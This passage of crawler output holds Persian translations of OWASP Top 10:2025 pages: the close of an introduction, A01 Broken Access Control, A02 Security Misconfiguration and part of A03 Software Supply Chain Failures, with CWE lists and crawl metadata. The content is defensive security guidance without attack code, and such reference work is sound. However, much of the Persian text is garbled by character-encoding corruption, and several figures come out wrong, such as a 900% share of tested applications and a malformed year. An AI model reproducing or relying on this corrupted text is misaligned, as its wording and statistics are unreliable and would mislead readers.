مدیریت امنیت مانند Patch Management.\n- افزایش آگاهی امنیتی کاربران و مدیریت ت؜اد بین امنیت و قابلیت استفاده.\n- برنامه‌ریزی و مدیریت تغییرات، ؍بت همه برنامه‌ها ŘŻŘą Inventory و به‌روزرسانی مستندات.\n- اجرای Logging، Monitoring و Alerting برای همه برنامه‌ها.\n- تعریف SLA برای عفؚ باگ‌های امنیتی.\n- ایجاد تیم ٞاس؎ به حادثه آموزش‌دیده.\n- اجرای ابزارهای Blocking یا Shielding، سخت‌سازی پیکربندی‌ها و تست نفوذ سالانه.\n- به‌روزرسانی برنامه‌های Continuity و Disaster Recovery.\n\n### بازنشستگی سیستم‌ها (Retiring Systems)\n\n- آرشیو داده‌های ضروری و پاکسازی امن داده‌های غیرضروری.\n- بازنشستگی امن برنامه، شامل حذف حساب‌ها، نقش‌ها و دسترسی‌های بلااستفاده.\n- به‌روزرسانی وضعیت برنامه ŘŻŘą CMDB به \"بازنشسته\".\n\n---\n\n## استفاده از OWASP Top 10 به‌عنوان استاندارد\n\n- OWASP Top 10 عمدتاً سند آگاهی‌بخشی است، اما بسیاری از سازمان‌ها از آن به‌عنوان استاندارد عملیاتی AppSec استفاده کرده‌اند.\n- این سند نقطه شعوؚ و حداقل استاندارد است. برخی ریسک‌ها (مثل **A06:2025-Insecure Design** ) ممکن است فعاتع از قابلیت تست ابزارهای استاندارد باشند.\n\n| معیار | سءح توصیه شده | توضیحات |\n| --- | --- | --- |\n| Awareness | Yes | – |\n| Training | Entry level | Comprehensive |\n| Design & architecture | Occasionally | Yes |\n| Coding standard | Bare minimum | Yes |\n| Secure Code review | Bare minimum | Yes |\n| Peer review checklist | Bare minimum | Yes |\n| Unit testing | Occasionally | Yes |\n| Integration testing | Occasionally | Yes |\n| Penetration testing | Bare minimum | Yes |\n| Tool support | Bare minimum | Yes |\n| Secure Supply Chain | Occasionally | Yes |\n| Awareness | Yes | – |\n\n- توصیه می‌شود برای استانداردسازی امنیت برنامه از [OWASP ASVS](https://owasp.org/www-project-application-security-verification-standard/) استفاده کنید.\n- ASVS تنها استاندارد قابل قبول برای تولیدکنندگان ابزاع است؛ ابزارها نمی‌توانند تمام OWASP Top 10 عا شناسایی یا محافظت کنند. OWASP هرگونه ادعای ٞوشش کامل عا نادرست می‌داند.", "znaku_textu": 13019, "slov": 1463, "odkazu": 55, "kodovani": "iso-8859-2", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 10:09:47", "sha256": "f722294811d66f94a3e8e9337fecc3fb07033e41f9d913301409b50f5f98654d", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/Top10", "https://cheatsheetseries.owasp.org/", "http://creativecommons.org/licenses/by/3.0/deed.en_US", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://owasp.org/Top10/2025/fa/A01_2025-Broken_Access_Control/", "titulek": "A01 Broken Access Control - OWASP Top 10:2025", "h1": "A01:2025 نقض کنترل دسترسی (Broken Access Control)", "popis": "OWASP Top 10:2025", "klicova_slova": "", "kanonicka": "https://owasp.org/Top10/2025/fa/A01_2025-Broken_Access_Control/", "jazyk": "fa", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "A01:2025 نقض کنترل دسترسی (Broken Access Control)"}, {"uroven": 2, "text": "جدول امتیازدهی"}, {"uroven": 2, "text": "توضیحات"}, {"uroven": 3, "text": "آسیب‌پذیری‌های رایج"}, {"uroven": 3, "text": "روش‌های پیشگیری"}, {"uroven": 3, "text": "نمونه سناریوهای حمله"}, {"uroven": 3, "text": "لیست CWEهای مرتبط"}, {"uroven": 3, "text": "منابع"}], "markdown": "# A01:2025 نقض کنترل دسترسی (Broken Access Control)\n\nاین دسته به دلیل تأثیر شدید و شایع بودن آسیب‌پذیری‌های مرتبط با کنترل دسترسی، همچنان ŘŻŘą جایگاه شماره Űą ŘŻŘą Top Ten قرار داعد. تمامی برنامه‌های آزمایش‌شده حداقل یک نوع از مشکلات مرتبط با کنترل دسترسی عا داشتند و از نظر تؚداد CVEهای مرتبط، این دسته رتبه دوم عا بین سایر دسته‌ها داعد.\n\nCWEهای مهم ŘŻŘą این دسته عبارتند از:\n- [CWE-200](https://cwe.mitre.org/data/definitions/200.html): افشای اطلاعات حساس به کاربران یا نقش‌های غیرمجاز\n- [CWE-201](https://cwe.mitre.org/data/definitions/201.html): افشای اطلاعات حساس از طریق داده‌های ارسال‌شده (مثل فرم یا API)\n- [CWE-918](https://cwe.mitre.org/data/definitions/918.html): جعل دع؎واست سمت سعوع (SSRF)\n- [CWE-352](https://cwe.mitre.org/data/definitions/352.html): جعل دع؎واست بین‌سایتی (CSRF)\n\n## جدول امتیازدهی\n\n| تؚداد CWEها | بیشینه نرخ وقوع | میانگین نرخ وقوع | بیشینه ٞوشش | میانگین ٞوشش | میانگین امتیاز Exploit | میانگین امتیاز Impact | کل وقوع‌ها |\n| --- | --- | --- | --- | --- | --- | --- | --- |\n| 40 | 20.15% | 3.74% | 100% | 42.93% | 7.04 | 3.84 | 1,839,701 |\n\n## توضیحات\n\nکنترل دسترسی سیاست‌ها عا ا؏عا می‌کند تا کاربران تنها به منابع و عملکردهایی دسترسی داشته باشند که مجاز هستند. شڊست ŘŻŘą این کنترل‌ها معمولاً منجر به افشای غیرمجاز اطلاعات، تغییر یا حذف داده‌ها، یا اجرای عملکرد کسب‌وکار ؎اع؏ از مجوز ڊاعبع می‌شود.\n\n### آسیب‌پذیری‌های رایج\n\n- نقض اصل حداقل دسترسی (Deny by Default)\n- دوع زدن کنترل‌ها با تغییر URL، پارامترها، ؾفحات HTML یا درخواست‌های API\n- اجازه دسترسی یا ویرایش حساب دیگران (IDOR)\n- API بدون کنترل دسترسی برای متدهای POST، PUT و DELETE\n- افزایش سءح دسترسی بدون مجوز\n- دستکاری Metadata (JWT، کوکی‌ها، hidden field)\n- تنظیم نادرست CORS\n- Force Browsing: Ř­ŘŻŘł URL ؾفحات احعاز هویت‌شده یا ؾفحات با دسترسی بالا\n\n### روش‌های پیشگیری\n\n- اعمال Deny by default برای تمام منابع به ؏ز بخش‌های عمومی\n- پیاده‌سازی کنترل دسترسی متمرکز و قابل استفاده مجدد\n- مدل‌سازی دسترسی بع اساس مالکیت عڊوعد\n- اعمال محدودیت‌های منطقی کسب‌وکار از طریق Domain Models\n- غیرفعال کردن Directory Listing و حذف فایل‌های متادیتا و پشتیبان\n- ؍بت Log شکست‌های دسترسی و ارسال هشدار\n- اعمال Rate Limit روی APIها\n- ابطال شناسه‌های جلسه و تعیین زمان انقضای کوتاه برای JWTهای Stateless\n- استفاده از toolkitها یا الگوهای معتبر برای کنترل دسترسی Declarative\n- افزودن تست‌های کنترل دسترسی ŘŻŘą Unit و Integration Tests\n\n### نمونه سناریوهای حمله\n\n**سناریو Űą:** مهاجم پارامتر acct عا تغییر داده و به حساب هر کاربری دسترسی پیدا می‌کند.\n **سناریو ۲:** مهاجم URLهای مدیریتی عا هدف قرار می‌دهد. اگع یک ڊاعبع معمولی بتواند ؾفحات ادمین عا ببیند یا بدون احعاز هویت واعد شود، نقص امنیتی ایجاد می‌شود.\n **سناریو Űł:** تمام کنترل‌ها ŘŻŘą فرانت‌اند پیاده شده‌اند. مهاجم می‌تواند مستقیماً درخواست‌ها عا به سعوع ارسال کند و کنترل‌های دسترسی عا دوع بزند.\n\n### لیست CWEهای مرتبط\n\n- [CWE-22](https://cwe.mitre.org/data/definitions/22.html) محدودیت نادرست مسیر به دایرکتوری مجاز (Path Traversal)\n- [CWE-23](https://cwe.mitre.org/data/definitions/23.html) مسیر نسبی نادرست (Relative Path Traversal)\n- [CWE-36](https://cwe.mitre.org/data/definitions/36.html) مسیر مطلق نادرست (Absolute Path Traversal)\n- [CWE-59](https://cwe.mitre.org/data/definitions/59.html) حل لینک نادرست قبل از دسترسی به فایل (Link Following)\n- [CWE-61](https://cwe.mitre.org/data/definitions/61.html) دنبال کردن لینک نمادین UNIX (Symlink)\n- [CWE-65](https://cwe.mitre.org/data/definitions/65.html) لینک س؎ت Windows\n- [CWE-200](https://cwe.mitre.org/data/definitions/200.html) افشای اطلاعات حساس به کاربران یا نقش‌های غیرمجاز\n- [CWE-201](https://cwe.mitre.org/data/definitions/201.html) افشای اطلاعات حساس از طریق داده‌های ارسال‌شده\n- [CWE-219](https://cwe.mitre.org/data/definitions/219.html) ذخیره فایل با داده حساس زیر Web Root\n- [CWE-276](https://cwe.mitre.org/data/definitions/276.html) مجوزهای پیش‌فرض نادرست\n- [CWE-281](https://cwe.mitre.org/data/definitions/281.html) نگهداری نادرست مجوزها\n- [CWE-282](https://cwe.mitre.org/data/definitions/282.html) مدیریت مالکیت نادرست\n- [CWE-283](https://cwe.mitre.org/data/definitions/283.html) مالکیت تأییدنشده\n- [CWE-284](https://cwe.mitre.org/data/definitions/284.html) کنترل دسترسی نادرست\n- [CWE-285](https://cwe.mitre.org/data/definitions/285.html) مجوزدهی نادرست\n- [CWE-352](https://cwe.mitre.org/data/definitions/352.html) جعل دع؎واست بین‌سایتی (CSRF)\n- [CWE-359](https://cwe.mitre.org/data/definitions/359.html) افشای اطلاعات شخصی خصوصی به کاربران غیرمجاز\n- [CWE-377](https://cwe.mitre.org/data/definitions/377.html) فایل موقت ناامن\n- [CWE-379](https://cwe.mitre.org/data/definitions/379.html) ایجاد فایل موقت ŘŻŘą دایرکتوری با مجوزهای ناامن\n- [CWE-402](https://cwe.mitre.org/data/definitions/402.html) انتقال منابع خصوصی به حوزه جدید (Resource Leak)\n- [CWE-424](https://cwe.mitre.org/data/definitions/424.html) محافظت نادرست مسیر جایگزین\n- [CWE-425](https://cwe.mitre.org/data/definitions/425.html) دع؎واست مستقیم (Forced Browsing)\n- [CWE-441](https://cwe.mitre.org/data/definitions/441.html) پراکسی یا واسطه ناخواسته (Confused Deputy)\n- [CWE-497](https://cwe.mitre.org/data/definitions/497.html) افشای اطلاعات حساس سیستم به حوزه کنترل غیرمجاز\n- [CWE-538](https://cwe.mitre.org/data/definitions/538.html) واعد کردن اطلاعات حساس به فایل یا دایرکتوری قابل دستعس خارجی\n- [CWE-540](https://cwe.mitre.org/data/definitions/540.html) گنجاندن اطلاعات حساس ŘŻŘą ÚŠŘŻ منبع\n- [CWE-548](https://cwe.mitre.org/data/definitions/548.html) افشای اطلاعات از طریق فهرست‌گذاری دایرکتوری\n- [CWE-552](https://cwe.mitre.org/data/definitions/552.html) فایل‌ها یا دایرکتوری‌های قابل دسترسی به طرف‌های خارجی\n- [CWE-566](https://cwe.mitre.org/data/definitions/566.html) دورزدن مجوز از طریق کلید اولیه SQL کنترل‌شده توسء ڊاعبع\n- [CWE-601](https://cwe.mitre.org/data/definitions/601.html) هدایت URL به سایت غیرقابل اعتماد (Open Redirect)\n- [CWE-615](https://cwe.mitre.org/data/definitions/615.html) گنجاندن اطلاعات حساس ŘŻŘą نظرات ÚŠŘŻ منبع\n- [CWE-639](https://cwe.mitre.org/data/definitions/639.html) دورزدن مجوز از طریق کلید کنترل‌شده توسء ڊاعبع\n- [CWE-668](https://cwe.mitre.org/data/definitions/668.html) افشای منابع به حوزه نادرست\n- [CWE-732](https://cwe.mitre.org/data/definitions/732.html) تخصیص مجوز نادرست برای منابع حیاتی\n- [CWE-749](https://cwe.mitre.org/data/definitions/749.html) متد یا تابؚ خطرناک افشا شده\n- [CWE-862](https://cwe.mitre.org/data/definitions/862.html) مجوزدهی گم‌شده\n- [CWE-863](https://cwe.mitre.org/data/definitions/863.html) مجوزدهی نادرست\n- [CWE-918](https://cwe.mitre.org/data/definitions/918.html) جعل دع؎واست سمت سعوع (SSRF)\n- [CWE-922](https://cwe.mitre.org/data/definitions/922.html) ذخیره نادرست اطلاعات حساس\n- [CWE-1275](https://cwe.mitre.org/data/definitions/1275.html) کوکی حساس با ویژگی SameSite نادرست\n\n### منابع\n\n- [OWASP Top 10:2025 - A01 Broken Access Control](https://owasp.org/Top10/2025/A01_2025-Broken_Access_Control/)\n- [OWASP Proactive Controls: C1: Implement Access Control](https://top10proactive.owasp.org)\n- [OWASP Application Security Verification Standard: V8 Authorization](https://github.com/OWASP/ASVS)\n- [CWE List](https://cwe.mitre.org/data/index.html)", "znaku_textu": 9414, "slov": 845, "odkazu": 79, "kodovani": "iso-8859-2", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 10:09:48", "sha256": "0f31be1b885dacecabd854e9648bfaaf56b28571d21267ba2f63e830241be4a5", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/Top10", "https://cwe.mitre.org/data/definitions/200.html", "https://cwe.mitre.org/data/definitions/201.html", "https://cwe.mitre.org/data/definitions/918.html", "https://cwe.mitre.org/data/definitions/352.html", "https://cwe.mitre.org/data/definitions/22.html", "https://cwe.mitre.org/data/definitions/23.html", "https://cwe.mitre.org/data/definitions/36.html", "https://cwe.mitre.org/data/definitions/59.html", "https://cwe.mitre.org/data/definitions/61.html", "https://cwe.mitre.org/data/definitions/65.html", "https://cwe.mitre.org/data/definitions/219.html", "https://cwe.mitre.org/data/definitions/276.html", "https://cwe.mitre.org/data/definitions/281.html", "https://cwe.mitre.org/data/definitions/282.html", "https://cwe.mitre.org/data/definitions/283.html", "https://cwe.mitre.org/data/definitions/284.html", "https://cwe.mitre.org/data/definitions/285.html", "https://cwe.mitre.org/data/definitions/359.html", "https://cwe.mitre.org/data/definitions/377.html", "https://cwe.mitre.org/data/definitions/379.html", "https://cwe.mitre.org/data/definitions/402.html", "https://cwe.mitre.org/data/definitions/424.html", "https://cwe.mitre.org/data/definitions/425.html", "https://cwe.mitre.org/data/definitions/441.html", "https://cwe.mitre.org/data/definitions/497.html", "https://cwe.mitre.org/data/definitions/538.html", "https://cwe.mitre.org/data/definitions/540.html", "https://cwe.mitre.org/data/definitions/548.html", "https://cwe.mitre.org/data/definitions/552.html", "https://cwe.mitre.org/data/definitions/566.html", "https://cwe.mitre.org/data/definitions/601.html", "https://cwe.mitre.org/data/definitions/615.html", "https://cwe.mitre.org/data/definitions/639.html", "https://cwe.mitre.org/data/definitions/668.html", "https://cwe.mitre.org/data/definitions/732.html", "https://cwe.mitre.org/data/definitions/749.html", "https://cwe.mitre.org/data/definitions/862.html", "https://cwe.mitre.org/data/definitions/863.html", "https://cwe.mitre.org/data/definitions/922.html", "https://cwe.mitre.org/data/definitions/1275.html", "https://top10proactive.owasp.org/", "https://github.com/OWASP/ASVS", "https://cwe.mitre.org/data/index.html", "http://creativecommons.org/licenses/by/3.0/deed.en_US", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://owasp.org/Top10/2025/fa/A02_2025-Security_Misconfiguration/", "titulek": "A02 Security Misconfiguration - OWASP Top 10:2025", "h1": "A02:2025 ؎ءا ŘŻŘą پیکربندی امنیتی (Security Misconfiguration)", "popis": "OWASP Top 10:2025", "klicova_slova": "", "kanonicka": "https://owasp.org/Top10/2025/fa/A02_2025-Security_Misconfiguration/", "jazyk": "fa", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "A02:2025 ؎ءا ŘŻŘą پیکربندی امنیتی (Security Misconfiguration)"}, {"uroven": 2, "text": "جدول امتیازدهی"}, {"uroven": 2, "text": "توضیحات"}, {"uroven": 3, "text": "موارد شایع"}, {"uroven": 3, "text": "روش‌های پیشگیری"}, {"uroven": 3, "text": "مثال سناریوهای حمله"}, {"uroven": 3, "text": "لیست CWEهای مرتبط"}, {"uroven": 3, "text": "منابع"}], "markdown": "# A02:2025 ؎ءا ŘŻŘą پیکربندی امنیتی (Security Misconfiguration)\n\nاین ریسک ŘŻŘą نسخه جدید از رتبه Űľ به رتبه ۲ ؾؚود کرده است، چرا که ŘŻŘą بررسی‌ها مشخص Ř´ŘŻ ۹۰۰٪ برنامه‌های آزمایش‌شده حداقل یک نوع پیکربندی نادرست داشته‌اند. میانگین نرخ بعوز این ؜ؚف ۳٪ بوده و بیش از ۡ۹ۚ,۰۰۰ مورد از ضعف‌های مرتبط با CWE ŘŻŘą این دسته شناسایی شده است.\n\nمهم‌ترین CWEهای مرتبط شامل [CWE-16](https://cwe.mitre.org/data/definitions/16.html) (Configuration) و [CWE-611](https://cwe.mitre.org/data/definitions/611.html) (Improper Restriction of XML External Entity Reference – XXE) هستند.\n\n## جدول امتیازدهی\n\n| تؚداد CWEهای نگاشت‌شده | بیشترین نرخ بعوز | میانگین نرخ بعوز | بیشترین ٞوشش | میانگین ٞوشش | میانگین امتیاز بهره‌برداری | میانگین امتیاز تأثیر | تؚداد کل رخدادها |\n| --- | --- | --- | --- | --- | --- | --- | --- |\n| 16 | 27.70% | 3.00% | 100% | 52.35% | 7.96 | 3.97 | 719,084 |\n\n## توضیحات\n\nپیکربندی نادرست امنیتی زمانی ع؎ می‌دهد که سیستم، برنامه یا سرویس ابری از نظر امنیتی به‌درستی تنظیم نشده باشد و این مسئله باؚ؍ ایجاد آسیب‌پذیری شود.\n\n### موارد شایع\n\n- فقدان تقویت امنیتی مناسب (Security Hardening) ŘŻŘą بخش‌های مختلف یا مجوزهای نادرست سرویس‌های ابری\n- فعال یا نصب بودن ویژگی‌ها و قابلیت‌های غیرضروری (پورت‌ها، سرویس‌ها، حساب‌ها، ابزارهای تست و…)\n- استفاده از حساب‌ها و رمزهای ؚبوع پیش‌فرض بدون تغییر\n- عدم و؏ود پیکربندی مرکزی برای جلوگیری از نمایش پیام‌های خطای بیش از Ř­ŘŻ (Stack Trace یا پیام‌های اطلاعاتی)\n- غیرفعال بودن یا پیکربندی نادرست ویژگی‌های امنیتی جدید ŘŻŘą سیستم‌های ارتقا یافته\n- اولویت بیش از Ř­ŘŻ به سازگاری با نسخه‌های قدیمی، ایجاد پیکربندی‌های ناامن\n- سعوع و فریم‌ورک‌ها، کتابخانه‌ها و دیتابیس‌ها روی مقادیر امن تنظیم نشده باشند\n- عدم ارسال هدرها یا دستوعات امنیتی یا پیکربندی نادرست آن‌ها\n\n### روش‌های پیشگیری\n\n- پیاده‌سازی فرآیند سخت‌سازی تکرارپذیر برای محیط‌های Development، QA و Production با اعتبارنامه‌های متفاوت و ترجیحاً ؎ودڊاع\n- استفاده از پلتفرم حداقلی بدون ویژگی‌ها یا نمونه‌های غیرضروری\n- بازبینی و به‌روزرسانی پیکربندی‌ها مطابق با security notes، patchها و به‌روزرسانی‌ها\n- بررسی سءح دسترسی ذخیره‌سازهای ابری (مثل S3 Bucket)\n- طراحی معماری بخش‌بندی‌شده (segmented) شامل segmentation، containerization و cloud security groups\n- ارسال security directives به سمت کلاینت‌ها، مانند Security Headers\n- پیاده‌سازی فرآیند ؎ودڊاع یا حداقل سالی یک‌بار بررسی دستی اثربخشی تنظیمات امنیتی\n- افزودن پیکربندی مرکزی برای جلوگیری از نمایش پیام‌های خطای بیش‌ازحد\n\n### مثال سناریوهای حمله\n\n1. نمونه‌اپلیکیشن‌های حذف‌نشده از محیط تولید با ضعف‌های امنیتی شناخته‌شده. مهاجم می‌تواند از حساب‌ها و رمزهای پیش‌فرض برای کنترل سیستم استفاده کند.\n2. Directory Listing غیرفعال نشده، مهاجم می‌تواند فایل‌ها عا دانلود و با مهندسی معکوس ÚŠŘŻ عا مشاهده کند.\n3. پیام‌های خطای دقیق مانند stack trace به ڊاعبع نمایش داده شود که اطلاعات حساس فاش شود.\n4. ارائه‌دهنده خدمات ابری (CSP) سءح دسترسی پیش‌فرض عا روی اینترنت باز گذاشته باشد، داده‌های حساس بدون محدودیت قابل دسترسی باشند.\n\n### لیست CWEهای مرتبط\n\n- [CWE-5](https://cwe.mitre.org/data/definitions/5.html) J2EE Misconfiguration: Data Transmission Without Encryption\n- [CWE-11](https://cwe.mitre.org/data/definitions/11.html) ASP.NET Misconfiguration: Creating Debug Binary\n- [CWE-13](https://cwe.mitre.org/data/definitions/13.html) ASP.NET Misconfiguration: Password in Configuration File\n- [CWE-15](https://cwe.mitre.org/data/definitions/15.html) External Control of System or Configuration Setting\n- [CWE-16](https://cwe.mitre.org/data/definitions/16.html) Configuration\n- [CWE-260](https://cwe.mitre.org/data/definitions/260.html) Password in Configuration File\n- [CWE-315](https://cwe.mitre.org/data/definitions/315.html) Cleartext Storage of Sensitive Information in a Cookie\n- [CWE-489](https://cwe.mitre.org/data/definitions/489.html) Active Debug Code\n- [CWE-526](https://cwe.mitre.org/data/definitions/526.html) Exposure of Sensitive Information Through Environmental Variables\n- [CWE-547](https://cwe.mitre.org/data/definitions/547.html) Use of Hard-coded, Security-relevant Constants\n- [CWE-611](https://cwe.mitre.org/data/definitions/611.html) Improper Restriction of XML External Entity Reference\n- [CWE-614](https://cwe.mitre.org/data/definitions/614.html) Sensitive Cookie in HTTPS Session Without 'Secure' Attribute\n- [CWE-776](https://cwe.mitre.org/data/definitions/776.html) Improper Restriction of Recursive Entity References in DTDs (XML Entity Expansion)\n- [CWE-942](https://cwe.mitre.org/data/definitions/942.html) Permissive Cross-domain Policy with Untrusted Domains\n- [CWE-1004](https://cwe.mitre.org/data/definitions/1004.html) Sensitive Cookie Without 'HttpOnly' Flag\n- [CWE-1174](https://cwe.mitre.org/data/definitions/1174.html) ASP.NET Misconfiguration: Improper Model Validation\n\n### منابع\n\n- [OWASP Top 10:2025 - A02 Security Misconfiguration](https://owasp.org/Top10/2025/A02_2025-Security_Misconfiguration/)\n- [OWASP Testing Guide: Configuration Management](https://owasp.org/www-project-web-security-testing-guide/)\n- [OWASP Testing Guide: Testing for Error Codes](https://owasp.org/www-project-web-security-testing-guide/)\n- [Application Security Verification Standard 5.0.0](https://owasp.org/www-project-application-security-verification-standard/)\n- [NIST Guide to General Server Hardening](https://nvlpubs.nist.gov/)\n- [CIS Security Configuration Guides / Benchmarks](https://www.cisecurity.org/cis-benchmarks/)\n- [Amazon S3 Bucket Discovery and Enumeration](https://aws.amazon.com/)\n- [ScienceDirect: Security Misconfiguration](https://www.sciencedirect.com/)", "znaku_textu": 7145, "slov": 683, "odkazu": 58, "kodovani": "iso-8859-2", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 10:09:49", "sha256": "05aea77fe80163abd44b0048a796d413af61f79a09a97b401275391d011ef9f1", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/Top10", "https://cwe.mitre.org/data/definitions/16.html", "https://cwe.mitre.org/data/definitions/611.html", "https://cwe.mitre.org/data/definitions/5.html", "https://cwe.mitre.org/data/definitions/11.html", "https://cwe.mitre.org/data/definitions/13.html", "https://cwe.mitre.org/data/definitions/15.html", "https://cwe.mitre.org/data/definitions/260.html", "https://cwe.mitre.org/data/definitions/315.html", "https://cwe.mitre.org/data/definitions/489.html", "https://cwe.mitre.org/data/definitions/526.html", "https://cwe.mitre.org/data/definitions/547.html", "https://cwe.mitre.org/data/definitions/614.html", "https://cwe.mitre.org/data/definitions/776.html", "https://cwe.mitre.org/data/definitions/942.html", "https://cwe.mitre.org/data/definitions/1004.html", "https://cwe.mitre.org/data/definitions/1174.html", "https://nvlpubs.nist.gov/", "https://www.cisecurity.org/cis-benchmarks/", "https://aws.amazon.com/", "https://www.sciencedirect.com/", "http://creativecommons.org/licenses/by/3.0/deed.en_US", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://owasp.org/Top10/2025/fa/A03_2025-Software_Supply_Chain_Failures/", "titulek": "A03 Software Supply Chain Failures - OWASP Top 10:2025", "h1": "A03:2025 خطاهای زنجیره تأمین نرم‌افزار (Software Supply Chain Failures)", "popis": "OWASP Top 10:2025", "klicova_slova": "", "kanonicka": "https://owasp.org/Top10/2025/fa/A03_2025-Software_Supply_Chain_Failures/", "jazyk": "fa", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "A03:2025 خطاهای زنجیره تأمین نرم‌افزار (Software Supply Chain Failures)"}, {"uroven": 2, "text": "جدول امتیازدهی"}, {"uroven": 2, "text": "توضیحات"}, {"uroven": 3, "text": "احتمال بعوز مشکل"}, {"uroven": 3, "text": "مدیریت تغییرات و سخت‌سازی سیستم‌ها"}, {"uroven": 3, "text": "مثال‌های سناریو حمله"}, {"uroven": 3, "text": "لیست CWEهای مرتبط"}, {"uroven": 3, "text": "منابع"}], "markdown": "# A03:2025 خطاهای زنجیره تأمین نرم‌افزار (Software Supply Chain Failures)\n\nاین دسته ŘŻŘą آخرین نظرسنجی جامعه Top 10 ŘŻŘą جایگاه اول قرار گرفت، به‌طوری که ۾۰٪ پاسخ‌دهندگان آن عا رتبه 1 اعلام کردند. از زمان وعود این مورد به Top 10 سال ۲۰۹۳ با عنوان A9 – استفاده از مؤلفه‌های دارای آسیب‌پذیری شناخته‌شده، دامنه آن گستعش یافته و اکنون شامل تمام خطاهای زنجیره تأمین نرم‌افزار می‌شود، نه فقط مؤلفه‌های آسیب‌پذیر شناخته‌شده.\n\nبا و؏ود این گسترش، شناسایی خطاهای زنجیره تأمین همچنان دشواع است و تنها ۹۹ ؚدد CVE مرتبط با CWEهای این دسته ؍بت شده‌اند. داده‌های آزمایشی نشان می‌دهند که این دسته بالاترین نرخ وقوع متوسط عا با ۾ٍ۹ۚ٪ داعد.\n\n## جدول امتیازدهی\n\n| تؚداد CWEهای نگاشت‌شده | بیشترین نرخ بعوز | میانگین نرخ بعوز | بیشترین ٞوشش | میانگین ٞوشش | میانگین امتیاز بهره‌برداری | میانگین امتیاز تأثیر | تؚداد کل رخدادها | کل CVEها |\n| --- | --- | --- | --- | --- | --- | --- | --- | --- |\n| 5 | 8.81% | 5.19% | 65.42% | 28.93% | 8.17 | 5.23 | 215,248 | 11 |\n\n## توضیحات\n\nشکست‌های زنجیره تأمین نرم‌افزار زمانی ع؎ می‌دهند که فرآیند ساخت، توزیع یا به‌روزرسانی نرم‌افزار دچار نقص شود. این مشکلات معمولاً ناشی از آسیب‌پذیری‌ها یا تغییرات مخرب ŘŻŘą کدها، ابزارها یا وابستگی‌های Ř´ŘŽŘľ ثالثی است که سیستم به آن‌ها متکی است.\n\n### احتمال بعوز مشکل\n\n- ردیابی نسخه همه ا؏زا (مستقیم یا تو ŘŻŘą تو) به دقت انجام نشود.\n- نرم‌افزار آسیب‌پذیر، قدیمی یا پشتیبانی‌نشده باشد.\n- اسکن آسیب‌پذیری و عضویت ŘŻŘą خبرنامه‌های امنیتی مرتبط انجام نشود.\n- فرآیند مدیریت تغییر و ردیابی تغییرات ŘŻŘą زنجیره تأمین و؏ود نداشته باشد.\n- سخت‌سازی سیستم‌ها و کنترل دسترسی اعمال نشده باشد.\n- جداسازی وظایف (Separation of Duties) رعایت نشده باشد.\n- توسعه‌دهندگان از منابع غیرقابل اعتماد ŘŻŘą محیط تولید استفاده کنند.\n- پلتفرم‌ها، فریم‌ورک‌ها و وابستگی‌ها به موقع و مبتنی بع ریسک به‌روزرسانی نشوند.\n- تنظیمات سیستم‌ها امن نباشند ( [ع؏وؚ شود به A02:2025-Security Misconfiguration](https://owasp.org/Top10/2025/A02_2025-Security_Misconfiguration/) ).\n- Pipelineهای CI/CD پیچیده بدون سخت‌سازی و پایش باشند.\n- SBOM به‌صورت متمرکز مدیریت نشود و وابستگی‌های تو ŘŻŘą تو ردیابی نشوند.\n- اجزای غیرضروری حذف نشوند و موجودی نسخه‌ها پایش نشود.\n- ا؏زا تنها از منابع معتبر و امن دریافت نشوند و نسخه‌ها بدون بررسی به‌روزرسانی شوند.\n\n### مدیریت تغییرات و سخت‌سازی سیستم‌ها\n\n- فرآیند مدیریت تغییر باید شامل ؍بت و پیگیری تغییرات ŘŻŘą تنظیمات CI/CD، مخازن ÚŠŘŻ و نواحی Sandbox، محیط توسعه‌دهنده (IDE)، ابزارهای SBOM و آ؍اع تولید شده، سیستم‌ها و لاگ‌های ثبت‌شده و یکپارچه‌سازی‌های Ř´ŘŽŘľ ثالث باشد.\n- سیستم‌ها و منابع باید سخت‌افزاری و نرم‌افزاری تقویت شوند، شامل فعال کردن MFA و محدود کردن IAM:\n- مخازن ÚŠŘŻ (عدم ذخیره اسعاع ŘŻŘą کد، محافظت از شاخه‌ها، پشتیبان‌گیری)\n- ایستگاه‌های کاری توسعه‌دهندگان (به‌روزرسانی منظم، MFA، پایش)\n- سرورهای سا؎ت و CI/CD (تفکیک وظایف، کنترل دسترسی، ساخت‌های امضا شده، لاگ‌های غیرقابل تغییر)\n- آ؍اع تولیدی (ا؍بات منبع، امضا، ارتقاء به جای بازسازی)\n- مدیریت زیرساخت به‌عنوان ÚŠŘŻ (IaC)\n- برنامه‌ای مداوم برای پایش، اولویت‌بندی و اعمال تغییرات پیکربندی داشته باشد.\n\n### مثال‌های سناریو حمله\n\n1. فروشنده معتبر با بدافزاع آلوده شده (مثل حمله SolarWinds 2019).\n2. فروشنده معتبر تنها ŘŻŘą شرایط ؎اؾ عفتاع مخرب نشان می‌دهد (مثال: سرقت Bybit 2025).\n3. حمله زنجیره تأمین GlassWorm 2025 علیه مارکت‌پلیس VS Code.\n4. اجرای کامپوننت‌ها با همان سءح دسترسی برنامه، مثال‌ها: CVE‑2017‑5638، چالش‌های پچ‌کردن IoT، شناسایی با Shodan IoT.\n\n### لیست CWEهای مرتبط\n\n- [CWE-477](https://cwe.mitre.org/data/definitions/477.html) Use of a Deprecated Function\n- [CWE-1035](https://cwe.mitre.org/data/definitions/1035.html) Using Components with Known Vulnerabilities\n- 